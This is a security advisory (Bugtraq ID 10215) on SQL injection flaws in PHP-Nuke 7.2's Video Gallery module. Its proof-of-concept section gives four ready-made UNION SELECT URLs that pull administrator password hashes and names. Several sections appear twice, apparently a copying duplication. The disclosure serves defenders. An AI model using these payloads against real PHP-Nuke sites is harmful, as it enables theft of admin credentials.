PHP-Nuke Multiple Video Gallery Module SQL Injection Vulnerabilities
BID:10215
Info
PHP-Nuke Multiple Video Gallery Module SQL Injection Vulnerabilities
| Bugtraq ID: | 10215 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 26 2004 12:00AM |
| Updated: | Apr 26 2004 12:00AM |
| Credit: | Disclosure of this issue is credited to "k1LL3r B0y" <[email protected]>. |
| Vulnerable: |
Francisco Burzi PHP-Nuke 7.2 |
| Not Vulnerable: | |
Discussion
PHP-Nuke Multiple Video Gallery Module SQL Injection Vulnerabilities
Reportedly the PHP-Nuke Video Gallery module is affected by multiple SQL injection vulnerabilities. This is due to a failure of the application to properly sanitize user-supplied input prior to using it in an SQL query.
These issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
Reportedly the PHP-Nuke Video Gallery module is affected by multiple SQL injection vulnerabilities. This is due to a failure of the application to properly sanitize user-supplied input prior to using it in an SQL query.
These issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
Exploit / POC
PHP-Nuke Multiple Video Gallery Module SQL Injection Vulnerabilities
No exploit is required to leverage these issues. The following proof of concept exploits have been provided:
http://www.example.com/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
http://www.example.com/modules.php?name=Video_Gallery&l_op=viewcat&catid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
http://www.example.com/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20name%20FROM%20nuke_authors&catid=1
http://www.example.com/modules.php?name=Video_Gallery&l_op=voteclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
No exploit is required to leverage these issues. The following proof of concept exploits have been provided:
http://www.example.com/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
http://www.example.com/modules.php?name=Video_Gallery&l_op=viewcat&catid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
http://www.example.com/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20name%20FROM%20nuke_authors&catid=1
http://www.example.com/modules.php?name=Video_Gallery&l_op=voteclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
Solution / Fix
PHP-Nuke Multiple Video Gallery Module SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
PHP-Nuke Multiple Video Gallery Module SQL Injection Vulnerabilities
References:
References:
- PHPNuke INP Homepage (PHPNuke INP)
- Multiple vulnerabilities PHP-Nuke Video Gallery Module for PHP-Nuke ("k1LL3r B0y"